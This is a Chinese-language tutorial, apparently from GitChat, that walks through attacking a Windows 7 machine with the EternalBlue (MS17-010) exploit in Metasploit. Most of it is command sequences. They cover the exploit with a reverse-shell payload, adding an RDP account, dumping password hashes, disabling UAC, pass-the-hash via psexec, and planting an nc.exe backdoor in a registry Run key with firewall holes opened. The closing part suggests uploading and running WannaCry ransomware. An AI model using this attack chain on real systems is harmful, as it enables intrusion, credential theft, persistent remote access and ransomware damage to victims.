提示:本文章内所有内容环境为自己搭建绝无违法内容,请不要利用其中的技术来做违法的事情。
声明:法律问题与本作者无关,请自觉遵守!
实施利用 Kali Linux 对 Windows7 SP1 进行永恒之蓝操作,所以操作将在虚拟机上完成。
我们要学习的内容如下:
通常我们获取到目标计算机的 shell 是短暂的,不可持续使用的,再或者我们很容易被用户察觉到,所以我们需要扩大战果来隐藏自己的行踪和保证我们的持久性访问。
环境介绍全部使用 Win7 作为测试机来进行渗透测试Win7 环境说明:IP 地址 192.168.1.56 ,防火墙状态开启。使用永恒之蓝获取系统 Shell永恒之蓝简述:永恒之蓝是指 2017 年 4 月 14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。注: windows7 是 2009 年正式发布。我们需要利用 win7 的经典漏洞“永恒之蓝”。官方漏洞描述:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。首先我们需要对主机进行扫描进入 Kali Linux 的 msf5 工具
root@icbugdeo:~# msfcontrol
详情命令如下:
msf5 > use auxiliary/scanner/smb/smb_ms17_010msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.56msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit
可以发现上方有一个 MS17-010 的漏洞已经被检查出来这里 Windows 7 防火墙一定要关闭否则 Kali Linux 检测不到上图 VULNERABLE 意思为脆弱的也就是我们很容易攻击 Windows 7 系统我们接着来看既然客户机存在 MS17-010 漏洞下面开始漏洞利用
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
利用 exploit 检测出的漏洞
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56msf5 exploit(windows/smb/ms17_010_eternalblue) > set payloadwindows/x64/meterpreter/reverse_tcpmsf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
我们现在需要查看一下权限
meterpreter > getuid
RDP 概述:远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。启用远程桌面
meterpreter > run post/windows/manage/enable_rdp
创建一个新用户来远程连接 win7 桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=icbug PASSWORD=123456
在 Kali 系统上,按下 Ctrl+shift+t 新建终端窗口,或点击终端按钮开启一个终端:
root@icbugdeo:~# rdesktop 192.168.1.56
会弹出 windows7 登录页面选择其他用户,输入我们刚才创建的账号和密码登陆后会弹出登录消息点击“是”即可返回 Windows7 会查看到 icbug 要连接计算机,30 秒后自动断开说明我们在 30 秒后 Kali Linux 可以成功连接计算机
通过 ms17-010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。SAM 概述:SAM 文件即账号密码数据库文件,SAM 文件的位置是:
C:\Windows\System32\config\SAM
我们回到 MSF 控制台,从 SAM 导出密码 hash
meterpreter > hashdump
我们取刚创建的 icbug 用户的 hash 密码
icbug:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
我们创建一条防火墙规则允许 4444 端口访问网络,否则我们建立 session 时 payload 不能通过 4444端口访问网络导致 session 建立失败。
meterpreter > shellC:\Windows\system32>netsh firewall add portopening TCP 4444 "icbug" ENABLE ALL
UAC 概述:用户帐户控制(User Account Control,简写作 UAC)是微软公司在其 Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。关闭 UAC
meterpreter > shellC:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /tREG_DWORD /d 0 /f
参数说明ADD 添加一个注册表项-v 创建键值-t 键值类型-d 键值的值-f 强制修改注册表项开启 win7 系统主机的默认共享,默认共享对 Windows 主机的文件共享非常方便,也方便黑客利用这个功能,远程执行命令。
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /vLocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fC:\Windows\system32>exit #退出 shell 返回 meterpreterC:\Windows\system32>exitC:\Windows\system32>exitexit
我们先将 session 保存到后台
meterpreter > background
3、使用 hash 值登录系统
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexecmsf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcpmsf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.56msf5 exploit(windows/smb/psexec) > set LHOST 192.168.1.53
配置用户信息
msf5 exploit(windows/smb/psexec) > set SMBUser icbug
密码使用哈希值
msf5 exploit(windows/smb/psexec) > set SMBPassaad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
这里局域网中 SMBDomain 都是 WORKGROUP 如果是域用户需要配置域名称。
msf5 exploit(windows/smb/psexec) > set SMBDomain WORKGROUPmsf5 exploit(windows/smb/psexec) > exploitmeterpreter > getuid
我们可以看到虽然我们使用 xuegod 用户进行认证但是我们同样获取到了 SYSTEM 的权限下面我们配置一个后门程序,修改 UAC 的注册表,需要重启才能生效。上传 nc 到 Win7
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
注册表添加启动项执行 nc 反弹 shell 命令
meterpreter > reg setval -kHKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
nc 参数解释:L 表示用户退出连接后重新进行端口侦听d 后台运行p 指定端口
meterpreter > shell
防火墙允许 443 端口访问网络否则开机的时需要用户点击允许访问网络才可以成功执行。
C:\Windows\system32> netsh firewall add portopening TCP 443 "xuegod443" ENABLEALL
重启 Win7
C:\Windows\system32>shutdown -r -f -t 0
-r 重启-f 强制-t 时间 0 表示立刻
重启电脑后需要用户进行入系统后,我们的后门程序,才可以使用。在这个锁屏的界面,我们的后门程序还没有运行。查看后门:进入命令行
netstat -an
我们新建一个终端使用 nc 进行连接后门。
root@icbugdeo:~# nc -v 192.168.1.56 443C:\Windows\SysWOW64>exit
MSF 控制台连接方法,
msf5 > connect 192.168.1.56 443
想退出,使用 Ctrl+c 退出
扩展:我前面可以上传 nc 程序,大家也可以上传勒索病毒。大体过程如下:1、上传勒索文件至 C 盘根目录下,为了隐蔽可以传至更隐蔽目录
upload wannacry.exe c:\
2、执行勒索可执行文件即可
execute -f c:\wannacry.exe
阅读全文: http://gitbook.cn/gitchat/activity/5e3a04bf29460201e6212eb6
您还可以下载 CSDN 旗下精品原创内容社区 GitChat App ,阅读更多 GitChat 专享技术内容哦。